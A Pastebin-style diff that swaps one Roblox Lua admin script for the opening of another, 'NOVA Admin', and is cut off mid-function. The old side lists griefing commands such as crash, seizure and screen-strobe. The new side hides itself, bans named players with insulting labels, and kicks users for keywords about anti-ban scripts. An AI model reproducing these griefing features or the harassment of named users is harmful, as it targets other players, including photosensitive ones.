SHOW:
|
|
- or go back to the newest paste.
1 | - | local owners = {"NosItUp"} -- Are able to set admins who can ban/etc... using :pa name |
1 | + | --[[ Scythe v.0.3-------------------------------------- ]] |
2 | - | local admins = {"Kohltastrophe"} -- Sets admins who can use ban/kick/admin or shutdown |
2 | + | script.Name = "§ NOVA Admin §" |
3 | - | local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown |
3 | + | |
4 | - | local banland = {"MasterKhaos"} -- Permanently Bans people |
4 | + | script.Parent = Instance.new("Glue") -- Stuck! |
5 | - | local prefix = ":" -- If you wanna change how your commands start ':'kill noob |
5 | + | NOVA ={ |
6 | - | local AutoUpdate = true -- Set to false if you don't want it to automatically update |
6 | + | ShutdownPhrase = "Lol " .. math.random(1,50) .. "XD Shutdown nub low life"; |
7 | - | local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places) |
7 | + | BadPhrases = true; |
8 | - | --------------------- |
8 | + | Ab = false; |
9 | - | -- VIP Admin -- |
9 | + | AntiCamball = true; |
10 | - | --------------------- |
10 | + | Bet = "/"; |
11 | - | local VipAdmin = false -- If someone can have admin for owning an item |
11 | + | Services = { |
12 | - | local ItemId = 0 -- The item they must own in order to have admin |
12 | + | Game = game; |
13 | - | --------------------- |
13 | + | RunService = game:GetService("RunService"); |
14 | - | -- Group Admin -- |
14 | + | Workspace = game:GetService("Workspace"); |
15 | - | --------------------- |
15 | + | Lighting = game:GetService("Lighting"); |
16 | - | local GroupAdmin = false -- If a certain group can have admin |
16 | + | Debris = game:GetService("Debris"); |
17 | - | local GroupId = 0 -- Sets the group id that can have admin |
17 | + | Players = game:GetService("Players"); |
18 | - | local GroupRank = 0 -- Sets what rank and above a person has to be in the group to have admin |
18 | + | Teams = game:GetService("Teams"); |
19 | - | --------------------- |
19 | + | SoundService = game:GetService("SoundService"); |
20 | - | -- Tips and Tricks -- |
20 | + | ScriptContext = game:GetService("ScriptContext"); |
21 | - | --------------------- |
21 | + | NetworkServer = game:GetService("NetworkServer"); |
22 | - | --[[ |
22 | + | StarterGui = game:GetService("StarterGui"); |
23 | - | With this admin you can do a command on multiple people at a time; |
23 | + | StarterPack = game:GetService("StarterPack"); |
24 | - | :kill me,noob1,noob2,random,team-raiders,nonadmins |
24 | + | }; |
25 | Ranks = { | |
26 | - | You can also use a variety commands for different people; |
26 | + | {-2,"Lagged"}; -- -2 |
27 | - | all |
27 | + | {-1,"Banned"}; -- -1 |
28 | - | others |
28 | + | {-0.5,"Scum"}; |
29 | - | me |
29 | + | {0,"Guest"}; -- 0 |
30 | - | team- |
30 | + | {1,"Mod"}; -- 1 |
31 | - | admins |
31 | + | {2,"Admin"}; -- 2 |
32 | - | nonadmins |
32 | + | {3,"Developer"}; -- 3 |
33 | - | random |
33 | + | {4,"Omega Admin"}; -- 4 |
34 | - | --]] |
34 | + | {5,"Overlord"}; -- 5 |
35 | - | --------------------- |
35 | + | {6,"OP ( Operator )"}; -- 6 |
36 | - | -- Commands -- |
36 | + | {7,"Creator"}; -- 7 |
37 | - | --------------------- |
37 | + | {8,"ROOT"}; -- 8 |
38 | - | --[[ |
38 | + | }; |
39 | - | -- |Temp Admin Commands| -- |
39 | + | Alphabet = { |
40 | - | 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place |
40 | + | "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", |
41 | - | 1. :s print("Hello World") -- Lets you script normally |
41 | + | }; |
42 | - | 2. :ls print("Hello World") -- Lets you script in localscripts |
42 | + | Ranked = { |
43 | - | 3. :clear -- Will remove all scripts/localscripts and jails |
43 | + | {Name = "Robloxer2810", Rank = 7, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA", Mesh = false}; |
44 | - | 4. :m Hello People -- This commands will let you shout a message to everyone on the server |
44 | + | {Name = "darkeageninja", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned me",Mesh = false}; |
45 | - | 5. :kill kohl -- Kills the player |
45 | + | {Name = "wubbzy301", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned me",Mesh = false}; |
46 | - | 6. :respawn kohl -- Respawns the player |
46 | + | {Name = "xXxArtistxXx", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Leaked NOVA Admin",Mesh = false}; |
47 | - | 7. :trip kohl -- Trips the player |
47 | + | {Name = "mrein5", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "A low life Camball abuser",Mesh = false}; |
48 | - | 8. :stun kohl -- Stuns the player |
48 | + | {Name = "lxljohnlxlalt", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "TOTAL NUB WITH NO LIFE",Mesh = false}; |
49 | - | 9. :unstun kohl -- Unstuns the player |
49 | + | |
50 | - | 10. :jump kohl -- Makes the player jump |
50 | + | }; |
51 | - | 11. :sit kohl -- Makes the player sit |
51 | + | Credit = { |
52 | - | 12. :invisible kohl -- Makes the player invisible |
52 | + | {Name = "NetworkClient",Why = "for the tablet function."}; |
53 | - | 13. :visible kohl -- Makes the player visible |
53 | + | {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."}; |
54 | - | 14. :explode kohl -- Makes the player explode |
54 | + | {Name = "upquark",Why = "For being a great person in life."}; |
55 | - | 15. :fire kohl -- Sets the player on fire |
55 | + | {Name = "toshir0z",Why = "For teaching me time control."}; |
56 | - | 16. :unfire kohl -- Removes fire from the player |
56 | + | {Name = "ask4kingbily",Why = "For showing me how to lock first person."}; |
57 | - | 17. :smoke kohl -- Adds smoke to the player |
57 | + | {Name = "tusKOr661",Why = "For majorly editing this script."}; |
58 | - | 18. :unsmoke kohl -- Removes smoke from the player |
58 | + | }; |
59 | - | 19. :sparkles kohl -- Adds sparkles to the player |
59 | + | Animations = { |
60 | - | 20. :unsparkles kohl -- Removes sparkles from the player |
60 | + | {Name = "Facepalm", Who = "tusKOr661", Id = "372695cdb6a7540768234ad60ed7a298"}; |
61 | - | 21. :ff kohl -- Adds a forcefield to the player |
61 | + | }; |
62 | - | 22. :unff kohl -- Removes the forcefield from the player |
62 | + | Colors = { |
63 | - | 23. :punish kohl -- Punishes the player |
63 | + | Red = Color3.new(1,0,0); |
64 | - | 24. :unpunish kohl -- Unpunishes the player |
64 | + | PinkRed = Color3.new(1,0,0.15); |
65 | - | 25. :freeze kohl -- Freezes the player |
65 | + | Orange = Color3.new(1,0.5,0); |
66 | - | 26. :thaw kohl -- Thaws the player |
66 | + | Yellow = Color3.new(1,1,0); |
67 | - | 27. :heal kohl -- Heals the player |
67 | + | Green = Color3.new(0,1,0); |
68 | - | 28. :god kohl -- Makes the player have infinite health |
68 | + | Blue = Color3.new(0,0,1); |
69 | - | 29. :ungod kohl -- Makes the player have 100 health |
69 | + | LightBlue = Color3.new(0,1,1); |
70 | - | 30. :ambient .5 .5 .5 -- Changes the ambient |
70 | + | Pink = Color3.new(1,0,1); |
71 | - | 31. :brightness .5 -- Changes the brightness |
71 | + | Magenta = Color3.new(0.54,0,0.54); |
72 | - | 32. :time 12 -- Changes the time |
72 | + | White = Color3.new(1,1,1); |
73 | - | 33. :fogcolor .5 .5 .5 -- Changes the fogcolor |
73 | + | Grey = Color3.new(0.5,0.5,0.5); |
74 | - | 34. :fogend 100 -- Changes the fogend |
74 | + | Black = Color3.new(0,0,0); |
75 | - | 35. :fogstart 100 -- Changes the fogstart |
75 | + | }; |
76 | - | 36. :removetools kohl -- Removes all tools from the player |
76 | + | Sounds = { |
77 | - | 37. :btools kohl -- Gives the player building tools |
77 | + | Sound = Instance.new("Sound"); |
78 | - | 38. :give kohl sword -- Gives the player a tool |
78 | + | Numbers = { -- one to five ( top to bottom ) |
79 | - | 39. :damage kohl -- Damages the player |
79 | + | "http://www.roblox.com/Asset/?id=29445305", |
80 | - | 40. :grav kohl -- Sets the player's gravity to normal |
80 | + | "http://www.roblox.com/Asset/?id=29445339", |
81 | - | 41. :setgrav kohl 100 -- Sets the player's gravity |
81 | + | "http://www.roblox.com/Asset/?id=29445358", |
82 | - | 42. :nograv kohl -- Makes the player have 0 gravity |
82 | + | "http://www.roblox.com/Asset/?id=29445378", |
83 | - | 43. :health kohl 1337 -- Changes the player's health |
83 | + | "http://www.roblox.com/Asset/?id=29445395", |
84 | - | 44. :speed kohl 1337 -- Changes the player's walkspeed |
84 | + | }; |
85 | - | 45. :name kohl potato -- Changes the player's name |
85 | + | PlayAfter = { |
86 | - | 46. :unname kohl -- Remove the player's name |
86 | + | "http://www.roblox.com/Asset/?id=2767090", |
87 | - | 47. :team kohl Raiders -- Changes the player's team |
87 | + | "http://www.roblox.com/Asset/?id=2800815", |
88 | - | 48. :stopmusic -- Will stop all music playing in the server |
88 | + | "http://www.roblox.com/Asset/?id=2801263", |
89 | - | 49. :teleport kohl potato -- Teleports the player |
89 | + | "http://www.roblox.com/Asset/?id=11984254", |
90 | - | 50. :change kohl kills 1337 -- Changes a player's stat |
90 | + | "http://www.roblox.com/Asset/?id=2101159", |
91 | - | 51. :kick kohl -- Removes the player from the game |
91 | + | "http://www.roblox.com/Asset/?id=3087031", |
92 | - | 52. :infect kohl -- Turns the player into a zombie |
92 | + | "http://www.roblox.com/Asset/?id=2101148", |
93 | - | 53. :rainbowify kohl -- Turns the player into a rainbow |
93 | + | "http://www.roblox.com/Asset/?id=2233908", |
94 | - | 54. :flashify kohl -- Turns the player into a strobe |
94 | + | "http://www.roblox.com/Asset/?id=16976189", |
95 | - | 55. :noobify kohl -- Turns the player into a noob |
95 | + | "http://www.roblox.com/Asset/?id=2101157", |
96 | - | 56. :ghostify kohl -- Turns the player into a ghost |
96 | + | "http://www.roblox.com/Asset/?id=2974000", |
97 | - | 57. :goldify kohl -- Turns the player into gold |
97 | + | "http://www.roblox.com/Asset/?id=2703110", |
98 | - | 58. :shiny kohl -- Makes the player shiny |
98 | + | "http://www.roblox.com/Asset/?id=1994345", |
99 | - | 59. :normal kohl -- Puts the player back to normal |
99 | + | }; |
100 | - | 60. :trippy kohl -- Spams random colors on the player's screen |
100 | + | }; |
101 | - | 61. :untrippy kohl -- Untrippys the player |
101 | + | AncientRules = { |
102 | - | 62. :strobe kohl -- Spams white and black on the player's screen |
102 | + | "Thou shall not use forum scripts.", |
103 | - | 63. :unstrobe kohl -- Unstrobes the player |
103 | + | "Thou shall not use CamBall / CamSphere.", |
104 | - | 64. :blind kohl -- Blinds the player |
104 | + | "Thou shall not use CBA.", |
105 | - | 65. :unblind kohl -- Unblinds the player |
105 | + | "Thou shall not use RMDX's scripts.", |
106 | - | 66. :guifix kohl -- Will fix trippy/strobe/blind on a player |
106 | + | "Thou shall not use antibans.", |
107 | - | 67. :fling kohl -- Flings the player |
107 | + | "Thou shall not abuse thou admin.", |
108 | - | 68. :seizure kohl -- Puts the player in a seizure |
108 | + | "Thou shall not steal scripts.", |
109 | - | 69. :music 1337 -- Plays a sound from the ID |
109 | + | "Thou shall not trade scripts you didn't make.", |
110 | - | 70. :lock kohl -- Locks the player |
110 | + | "Thou shall not use gay scripts.", |
111 | - | 71. :unlock kohl -- Unlocks the player |
111 | + | "Thou shall not abuse loopholes in the ancient rules.", |
112 | - | 72. :removelimbs kohl -- Removes the player's limbs |
112 | + | }; |
113 | - | 73. :jail kohl -- Puts the player in a jail |
113 | + | ChatFilters = { |
114 | - | 74. :unjail kohl -- Removes the jail from the player |
114 | + | "mediafire", |
115 | - | 75. :fix -- This will fix the lighting to it's original settings |
115 | + | "shit", |
116 | - | 76. :fly kohl -- Makes the player fly |
116 | + | "gtfo", |
117 | - | 77. :unfly kohl -- Removes fly from the player |
117 | + | "password", |
118 | - | 78. :noclip kohl -- Makes the player able to noclip |
118 | + | "hitler", |
119 | - | 79. :clip kohl -- Removes noclipping from the player |
119 | + | "vaginas", |
120 | - | 80. :pm kohl Hey bro -- Sends the player a private message |
120 | + | }; |
121 | - | 81. :dog kohl -- Turns the player into a dog |
121 | + | |
122 | - | 82. :undog kohl -- Turns the player back to normal |
122 | + | KillingPhrases = { |
123 | - | 83. :creeper kohl -- Turns the player into a creeper |
123 | + | "ssj", |
124 | - | 84. :uncreeper kohl -- Turns the player back to normal |
124 | + | "yolo", |
125 | - | 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place |
125 | + | "swag", |
126 | - | 86. :char kohl 261 -- Will make a player look like a different player ID |
126 | + | }; |
127 | - | 87. :unchar kohl -- Will return the player back to normal |
127 | + | KickingPhrases = { |
128 | - | 88. :h Hello People -- This will shout a hint to everyone |
128 | + | "\"/down\"", |
129 | - | 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group |
129 | + | "/down","fweld(","ManualJointSurfaceInstance", |
130 | - | 90. :starttools kohl -- Will give the player starter tools |
130 | + | "/hide", |
131 | - | 91. :sword kohl -- Will give the player a sword |
131 | + | "rpe/", |
132 | - | 92. :bighead kohl -- Will make the player's head larger than normal |
132 | + | "antiban", |
133 | - | 93. :minihead kohl -- Will make the player's head smaller than normal |
133 | + | "ab/", |
134 | - | 94. :insert 1337 -- Will insert a model at the speaker's position |
134 | + | "camball.", |
135 | - | 95. :disco -- Will make the server flash random colors |
135 | + | "camball.came", |
136 | - | 96. :flash -- Will make the server flash |
136 | + | "camball/", |
137 | - | 97. :admins -- Shows the admin list |
137 | + | "camball /","deadfield","1waffle1", |
138 | - | 98. :bans -- Shows the banlist |
138 | + | "cie camball", |
139 | - | 99. :musiclist -- Shows the music list |
139 | + | "d33k/", |
140 | - | 100. :spin kohl -- Spins the player |
140 | + | "pban/", |
141 | - | 101. :cape kohl Really black -- Gives the player a colored cape |
141 | + | "your own camball", |
142 | - | 102. :uncape kohl -- Removes the player's cape |
142 | + | "created by jordan88282", |
143 | - | 103. :loopheal kohl -- Will constantly heal the player |
143 | + | "v2 camball", |
144 | - | 104. :loopfling kohl -- Will constantly fling the player |
144 | + | "cba = {}", |
145 | - | 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337 |
145 | + | "cba.bet","tusKOr661:Remove()","tusKOr661:Destroy()","tusKOr661.Parent =", |
146 | - | 106. :unloopheal kohl -- Will remove the loopheal on the player |
146 | + | "banmenu","adminlist", |
147 | - | 107. :unloopfling kohl -- Will remove the loopfling on the player |
147 | + | "ban/t","ban/tu","ban/tus","ban/tusk","ban/tusko","ban/tuskor","ban/tuskor6","ban/tuskor66","ban/tuskor661", |
148 | - | 108. :unspin kohl -- Removes spin from the player |
148 | + | "cryston", |
149 | - | 109. :tools -- Gives a list of the tools in the lighting |
149 | + | "jordan88282", "eyeball","orb","kick/","owner","antikick","iOrb","orb" |
150 | - | 110. :undisco -- Removes disco effects |
150 | + | }; |
151 | - | 111. :unflash -- Removes flash effects |
151 | + | PreviousDataKeys = { |
152 | - | 112. :resetstats kohl -- Sets all the stats of a player to 0 |
152 | + | "Unlimited Gravity&accesskey=lol4&_version="..tostring(_VERSION), |
153 | - | 113. :gear kohl 1337 -- Gives a player a gear |
153 | + | }; |
154 | - | 114. :cmdbar -- Gives the speaker a command bar |
154 | + | LoadTime = { |
155 | - | 115. :shirt kohl 1337 -- Changes the player's shirt |
155 | + | Start = tick(), |
156 | - | 116. :pants kohl 1337 -- Changes the player's pants |
156 | + | Finish = tick(), |
157 | - | 117. :face kohl 1337 -- Changes the player's face |
157 | + | }; |
158 | - | 118. :swagify kohl -- Swagifies the player |
158 | + | Fences = {}; |
159 | - | 119. :version -- Shows the current version of the admin |
159 | + | Jails = {}; |
160 | - | 120. :tm 1337 yolo -- Shows a message for 1337 seconds |
160 | + | Objects = {}; |
161 | - | 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds |
161 | + | Commands = {}; |
162 | - | 122. :clone kohl -- Creates a clone of the player |
162 | + | Tablets = {}; |
163 | - | 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player |
163 | + | Targeted = {}; |
164 | - | 124. :startergive kohl epic -- Gives a player a gear in their starterpack |
164 | + | ExternalPlayersList = {}; |
165 | - | 125. :control kohl -- Controls a player |
165 | + | Waypoints = {}; |
166 | Log = {}; | |
167 | - | -- |Admin Commands| -- |
167 | + | LoggedScripts = {}; |
168 | - | - :serverlock -- Locks the server |
168 | + | PRI = false; |
169 | - | - :serverunlock -- Unlocks the server |
169 | + | LockedScripts = false; |
170 | - | - :sm Hello World -- Creates a system message |
170 | + | Removed = true; |
171 | - | - :crash kohl -- Crashes a player |
171 | + | ShowChat = true; |
172 | - | - :admin kohl -- Admins a player |
172 | + | Canceled = false; |
173 | - | - :unadmin kohl -- Unadmins a player |
173 | + | Overrided = false; |
174 | - | - :ban kohl -- Bans a player |
174 | + | TimeChanged = false; |
175 | - | - :unban kohl -- Unbans a player |
175 | + | TabletPositionRelative = false; |
176 | - | - :loopkill kohl -- Will constantly kill the player |
176 | + | AntiDLL = false; |
177 | - | - :unloopkill kohl -- Will remove the loopkill on the player |
177 | + | EnableGuests = true; |
178 | - | - :logs -- Will show all of the commands any admin has used in a game session |
178 | + | UseGlobals = false; |
179 | - | - :shutdown -- Shutsdown the server |
179 | + | Overrider = nil; |
180 | TabletRotation = 0; | |
181 | - | -- |Owner Commands| -- |
181 | + | TabletRotationIncrease = 0.03; |
182 | - | - :pa kohl -- Makes someone a super admin |
182 | + | AccessKey = "NewData13"; |
183 | - | - :unpa kohl -- Removes a super admin |
183 | + | Version = "6th Generation"; |
184 | - | - :nuke kohl -- Creates a nuke on kohl |
184 | + | DataKey = "Unlimited Gravity"; |
185 | PRIType = "Kick"; | |
186 | - | -- |True Owner Commands| -- |
186 | + | LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal |
187 | - | - :oa kohl -- Makes someone an owner |
187 | + | Script = script:FindFirstChild("PseudoScript"); -- or NewScript |
188 | - | - :unoa kohl -- Removes an owner |
188 | + | Plugins = script:GetChildren() |
189 | - | - :settings -- Shows settings for the commands |
189 | + | } |
190 | - | --]] |
190 | + | --[[ PLAYER PLUGINS ]]-- |
191 | - | --------------------- |
191 | + | function UpdatePlayerPlugins() |
192 | - | -- Main Script -- |
192 | + | if NOVA.AntiDLL == true then PlayerPlugins = [==[ |
193 | - | --------------------- |
193 | + | script.Parent = nil |
194 | - | for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end |
194 | + | LocalPlayer = game:GetService("Players").LocalPlayer |
195 | ||
196 | - | function CHEESE() |
196 | + | game:GetService("Selection").SelectionChanged:connect(function() |
197 | - | if game:service("Lighting"):findFirstChild("KACV2") then |
197 | + | if LocalPlayer.Name ~= "tusKOr661" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then |
198 | - | owners = {} admins = {} tempadmins = {} banland = {} |
198 | + | LocalPlayer.Parent = nil |
199 | - | for i,v in pairs(game.Lighting.KACV2:children()) do |
199 | + | LocalPlayer.Parent = game:GetService("Players") |
200 | - | if v.Name == "Owner" then table.insert(owners, v.Value) end |
200 | + | end |
201 | - | if v.Name == "Admin" then table.insert(admins, v.Value) end |
201 | + | end) |
202 | - | if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end |
202 | + | coroutine.resume(coroutine.create(function() |
203 | - | if v.Name == "Banland" then table.insert(banland, v.Value) end |
203 | + | while wait() do |
204 | - | if v.Name == "Prefix" then prefix = v.Value end |
204 | + | if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then |
205 | - | if v.Name == "FunCommands" then FunCommands = v.Value end |
205 | + | workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove() |
206 | - | if v.Name == "GroupAdmin" then GroupAdmin = v.Value end |
206 | + | LocalPlayer.Parent = nil |
207 | - | if v.Name == "GroupId" then GroupId = v.Value end |
207 | + | LocalPlayer.Parent = game:GetService("Players") |
208 | - | if v.Name == "GroupRank" then GroupRank = v.Value end |
208 | + | end |
209 | - | if v.Name == "VipAdmin" then VipAdmin = v.Value end |
209 | + | end |
210 | - | if v.Name == "ItemId" then ItemId = v.Value end |
210 | + | end)) |
211 | ]==] | |
212 | - | game:service("Lighting"):findFirstChild("KACV2"):Destroy() |
212 | + | else |
213 | PlayerPlugins = [==[ | |
214 | script.Parent = nil | |
215 | - | local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart} |
215 | + | LocalPlayer = game:GetService("Players").LocalPlayer |
216 | - | local lobjs = {} |
216 | + | |
217 | - | local objects = {} |
217 | + | coroutine.resume(coroutine.create(function() |
218 | - | local logs = {} |
218 | + | while wait() do |
219 | - | local nfs = "" |
219 | + | if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then |
220 | - | local slock = false |
220 | + | workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove() |
221 | LocalPlayer.Parent = nil | |
222 | - | function GetTime() |
222 | + | LocalPlayer.Parent = game:GetService("Players") |
223 | - | local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60) |
223 | + | end |
224 | - | if min < 10 then min = "0"..min end |
224 | + | end |
225 | - | return hour..":"..min |
225 | + | end)) |
226 | ]==] | |
227 | end | |
228 | - | function ChkOwner(str) |
228 | + | |
229 | - | for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end |
229 | + | function Color() |
230 | - | return false |
230 | + | local Choice = math.random(1, 5) |
231 | if Choice == 1 then | |
232 | return "Institutional white" | |
233 | - | function ChkAdmin(str,ck) |
233 | + | elseif Choice == 2 then |
234 | - | for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end |
234 | + | return "White" |
235 | - | for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end |
235 | + | elseif Choice == 3 then |
236 | - | for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end |
236 | + | return "Really red" |
237 | - | return false |
237 | + | elseif Choice == 4 then |
238 | return "New Yeller" | |
239 | elseif Choice == 5 then | |
240 | - | function ChkGroupAdmin(plr) |
240 | + | return "Black" |
241 | - | if GroupAdmin then |
241 | + | end |
242 | - | if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end |
242 | + | end |
243 | - | return false |
243 | + | --[[ PSEUDO FUNCTIONS ]]-- |
244 | function CreateLocalScript(Source, Parent) | |
245 | if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then | |
246 | newLocalScript(Source, Parent) | |
247 | - | function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end |
247 | + | elseif game.PlaceId == 23232804 then |
248 | NewLocalScript(Source, Parent) | |
249 | - | function GetPlr(plr, str) |
249 | + | elseif NOVA.LocalScript ~= nil then |
250 | - | local plrz = {} str = str:lower() |
250 | + | NS = NOVA.LocalScript:Clone() |
251 | - | if str == "all" then plrz = game.Players:children() |
251 | + | NS.Name = "LocalScript" |
252 | - | elseif str == "others" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end |
252 | + | pcall(function() NS:ClearAllChildren() end) |
253 | - | else |
253 | + | NewSource = Instance.new("StringValue",NS) |
254 | - | local sn = {1} local en = {} |
254 | + | NewSource.Name = "Source" |
255 | - | for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end |
255 | + | if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then |
256 | - | for x = 1, #sn do |
256 | + | NewSource.Name = "DSource" |
257 | - | if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr) |
257 | + | end |
258 | - | elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())]) |
258 | + | NewSource.Value = Source |
259 | - | elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "admins") or (sn[x] and str:sub(sn[x]) == "admins") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end |
259 | + | NS.Parent = Parent |
260 | - | elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonadmins") or (sn[x] and str:sub(sn[x]) == "nonadmins") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end |
260 | + | NS.Disabled = false |
261 | - | elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then |
261 | + | else |
262 | - | if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then |
262 | + | print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")") |
263 | - | for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break |
263 | + | end |
264 | - | end end end |
264 | + | |
265 | - | elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then |
265 | + | |
266 | - | if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then |
266 | + | function CreateScript(Source, Parent) |
267 | - | for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break |
267 | + | if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then |
268 | - | end end end |
268 | + | newScript(Source, Parent) |
269 | - | else |
269 | + | elseif game.PlaceId == 23232804 then |
270 | - | for a, plyr in pairs(game.Players:children()) do |
270 | + | NewScript(Source, Parent) |
271 | - | if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then |
271 | + | elseif NOVA.Script ~= nil then |
272 | - | table.insert(plrz, plyr) break |
272 | + | NS = NOVA.Script:Clone() |
273 | NS.Name = "Script" | |
274 | - | end |
274 | + | pcall(function() NS:ClearAllChildren() end) |
275 | NewSource = Instance.new("StringValue",NS) | |
276 | NewSource.Name = "Source" | |
277 | NewSource.Value = Source | |
278 | - | return plrz |
278 | + | NS.Parent = Parent |
279 | NS.Disabled = false | |
280 | else | |
281 | - | function Hint(str, plrz, time) |
281 | + | print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")") |
282 | - | for i, v in pairs(plrz) do |
282 | + | end |
283 | - | if v and v:findFirstChild("PlayerGui") then |
283 | + | |
284 | ||
285 | - | local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI" |
285 | + | function IsTargeted(Player) |
286 | - | local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8 |
286 | + | if type(Player) == "string" then |
287 | - | local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8 |
287 | + | for _,v in pairs(NOVA.Targeted) do |
288 | - | coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end)) |
288 | + | if v.Name == Player then |
289 | - | if not time then wait((#str/19)+2.5) else wait(time) end |
289 | + | return true |
290 | - | coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end)) |
290 | + | end |
291 | end | |
292 | elseif type(Player) == "userdata" then | |
293 | for _,v in pairs(NOVA.Targeted) do | |
294 | if Player == v then | |
295 | return true | |
296 | - | function Message(ttl, str, scroll, plrz, time) |
296 | + | end |
297 | - | for i, v in pairs(plrz) do |
297 | + | end |
298 | - | if v and v:findFirstChild("PlayerGui") then |
298 | + | else |
299 | print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")") | |
300 | - | local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI" |
300 | + | end |
301 | - | local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8 |
301 | + | return false |
